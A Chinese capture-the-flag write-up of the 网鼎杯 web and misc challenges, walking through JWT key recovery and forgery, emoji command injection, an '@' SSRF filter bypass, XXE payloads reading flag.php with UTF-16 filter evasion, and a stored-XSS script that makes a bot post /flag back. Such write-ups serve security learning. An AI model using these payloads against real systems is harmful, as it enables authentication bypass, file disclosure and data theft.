网鼎杯

网鼎杯

我们CTF也有自己的奥运会

PWN4 MISC1 一血均被封

这是怎么回事呢?

一. Web

0x00 web0

签到 没抢到血 但是没一血加分

什么? 你说一血会被封号? ? 那没事了 (^_^)

0x01 web1

小明在制作网站时使用jwt(Json Web Token)作为身份校验的方式,但是他觉得只用jwt不够安全,所以又使用了session,你能发现其中存在的问题吗?

需要admin用户才能访问 /game/Avater 页面

在login界面抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 0192d5cb37607e53b323e8df78a5b197.vj19.dg06.ciihw.cn:45708
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Origin: http://0192d5cb37607e53b323e8df78a5b197.vj19.dg06.ciihw.cn:45708
Sec-GPC: 1
Connection: close
Referer: http://0192d5cb37607e53b323e8df78a5b197.vj19.dg06.ciihw.cn:45708/
Cookie: session=eyJjc3JmX3Rva2VuIjoiOWM0YTlkMWRkYTZhZGQ3YWZkYTIwOWExNjg1MjdmMjJhY2ZhMzY4ZiJ9.ZyA1GA.99wIlL6VZmVP8_kbLtU-yLdXeC8
Upgrade-Insecure-Requests: 1
Priority: u=0, i

csrf_token=IjljNGE5ZDFkZGE2YWRkN2FmZGEyMDlhMTY4NTI3ZjIyYWNmYTM2OGYi.ZyA1GA.wny8lTdyOreM_F1fEixGcZwYbrg&username=1&password=1&submit=Login

同时使用了token和session进行用户验证

1.1 Token伪造

非管理员用户可以直接登录 (没有密码验证)

比如我这里用 1/1登录的, 会给到一个JWT (cookie的token “session”字段)

eyJjc3JmX3Rva2VuIjoiOWM0YTlkMWRkYTZhZGQ3YWZkYTIwOWExNjg1MjdmMjJhY2ZhMzY4ZiJ9.ZyA1GA.99wIlL6VZ

这里利用 DownUnderCTF2021 JWT 的思路 (通过分步找出公钥 私钥)

1.1.1 公钥构造

通过注册两个普通用户 获取到JWT

使用工具> jwt公钥获取

pip3 install -r requirements.txt 之后会有dockerfile 这样就只用启动一个docker来使用了 感觉不错

1
2
3
4
5
6
7
# builds the image
docker build . -t sig2n

# starts the container and gives me a bash shell
docker run -it sig2n /bin/bash

root@docker:/app# python3 jwt_forgery.py <jwt1> <jwt2>

会生成一些可能性大的 .pem 公钥文件

关于> 什么是弱公钥

1.1.2 私钥构造

使用工具> 私钥生成

1
python3 RsaCtfTool.py --publickey ./public.key --private

生成私钥 (如果不成功就换其他可能的公钥文件)

接着直接伪造jwt即可,用户名为admin

1.2 /game

emoji会被当做字符串,测试发现是在/bin/sh里的,所以找到了cat和*,可以读取当前目录所有文件

太可爱了吧 虽然题目是照抄的 但是这题好可爱

这里输入 “cat” “star”的emoji表示 cat *

通过回显信息 我们大概可以知道

  1. flag是一个文件夹
  2. flag可能在flag.php中

那么利用emoji构造命令

1
2
💿 🚩  😜😐 🐱 ⭐
cd flag ;p:| cat *

这里 😜(;p)😐(:|) 主要是利用它的 | 管道符, 把中间的脏数据绕过

从这里会读取到session伪造需要的 key SECRET_KEY: 123123123..123

打入session,可以进入/upload和/view_uploads读文件了

1.3 /upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
@app.route('/upload', methods=['GET', 'POST'])
def upload():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
form = UploadForm()
if not payload or payload['username'] != 'admin':
error_message = 'You do not have permission to access this page.Your username is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
if not session['role'] or session['role'] != 'admin':
error_message = 'You do not have permission to access this page.Your role is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])

if form.validate_on_submit():
file = form.avatar.data
if file:
filename = secure_filename(file.filename)
files = {'file': (filename, file.stream, file.content_type)}
php_service_url = 'http://127.0.0.1/upload.php'
response = requests.post(php_service_url, files=files)
if response.status_code == 200:
flash(response.text, 'success')
else:
flash('Failed to upload file to PHP service', 'danger')
return render_template('upload.html', form=form)



@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
token = request.cookies.get('token')
form = GameForm()
if not token:
error_message = 'Please login first'
return render_template('view_uploads.html', form=form, error_message=error_message)
payload = decode_jwt(token)
if not payload:
error_message = 'Invalid or expired token. Please login again.'
return render_template('view_uploads.html', form=form, error_message=error_message)
if not payload['username']=='admin':
error_message = 'You do not have permission to access this page.Your username is not admin'
return render_template('view_uploads.html', form=form, error_message=error_message)
user_input = None
if form.validate_on_submit():
filepath = form.user_input.data
pathurl = request.form.get('path')
if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
return render_template('view_uploads.html', form=form, error_message=error_message)
params = {'s': filepath}
try:
response = requests.get("http://"+pathurl, params=params, timeout=1)
return render_template('view_uploads.html', form=form, user_input=response.text)
except:
error_message = "500! Server Error"
return render_template('view_uploads.html', form=form, error_message=error_message)
return render_template('view_uploads.html', form=form, user_input=user_input)

通过upload是可以把payload上传到 upload目录下面

通过view-upload可以读取

1
2
3
4
5
6
POST /view_uploads HTTP/1.1
Host: 123.zeuo.dg01.ciihw.cn:45732
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
......

csrf_token=ImJkMjUyZWQ2ZWE0OWZiZjlkMmYyYzJkNGEwZTY3NWMyYWM5ZjZlOTMi.ZyBmag.RCasLc0XUU8ep682nDtSZ5PeqsQ&path=www.testctf.com@0.0.0.0&user_input=/var/www/html/uploads/0123123123&submit=Submit
  • csrf_token 已构造
  • path 见下
  • user_input 抓 /upload 的返回包 填上传文件的文件名
  • submit submit

这里的WAF绕过 :

1.3.1 path
1
if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath)

不能出现127.0.0.1且要有www.testctf.com , 那么就 @ 绕过

1
2
3
path=www.testctf.com@0.0.0.0
或者
path=www.testctf.com@localhost
1.3.2 file检验
  1. 正常文件 报错Failed to load XML file 解析xml, 选择XXE打法
  2. ENTITY、SYSTEM、file等关键词被过滤, 选择utf-16编码 16进制编码等绕过
1.3.3 读取flag
1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE replace [
<!ENTITY admin SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">
]>
<userInfo>
<firstName>Choco</firstName>
<lastName>&example;</lastName>
</userInfo>
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE Choco [
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php">
]>
<userInfo>
<firstName>Choco</firstName>
<lastName>&example;</lastName>
</userInfo>

cat test.xml | iconv -f utf-8 -t utf-16 test.xml > payload.xml

生成一个payload

上传 记录文件名 给user_input

最后去读取这个xml触发XXE漏洞即可

1.4 Final

两个考点都挺有意思的 但是硬凑一块倒是…

感谢 baozongwi师傅 和 群友提供的资料, 受教

0x02 web2

同样没有身份对比 不用想办法登陆! 好

admin/admin 会给个hash值表示身份, 文件存在 /content/ 下面, 刷新重做挺简单, 避免了一堆xss弹窗等

提交

1
<script>alert(1)</script>

确认有xss

整理一下题目信息

  • 有 /flag , 但是普通用户读取不了

  • 有 boss (BOT) , 但是没有cookie / passwd 等手段登录

  • XSS可执行 (甚至没过滤)

那么做法很显然了

  1. 本地xss脚本上传
  2. boss用户访问时读取/flag
  3. 把flag弹给本地用户

题目不难 , 用的 Tel✌在强网拟态用过的脚本 (魔改了下)

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
fetch('/flag')
.then(response => response.text())
.then(data => {
fetch('/content/94f4deab05e5e6fb3e219465107dcf18', {
method:'POST',
headers:{
'Content-Type': 'application/x-www-form-urlencoded'
},
body:"content=123"+data
});
});
</script>

本来想用$.Ajax 发异步完成, 但是一直没成功( , 就包括这个版本一开始也因为少个大括号头痛了许久

二. MISC

不会做

0x01 MISC3

简单的流量分析 (但是数据包很大) , 我说我的 wireshark 追踪个TCP流这么卡 ! tmd

不过还好我有以前做BUU题留下的妙妙工具

一把梭哈

0x02 MISC4

图片一眼就是二维码被处理后的样子 (特点是1-0交错 和 左下角 右上角等地方的图片特征)

不过misc1真的不会 还在研究MCC 搞笑来的

三. 乐子

pwn4 一血被ban (这题最后半小时被交烂了 我们没出)

misc1 一血被ban

车联网不会 写点乐子摸摸鱼而已 明天继续坐牢 唉

冷知识: 你现在就是最小丑的网鼎杯未来之星了哦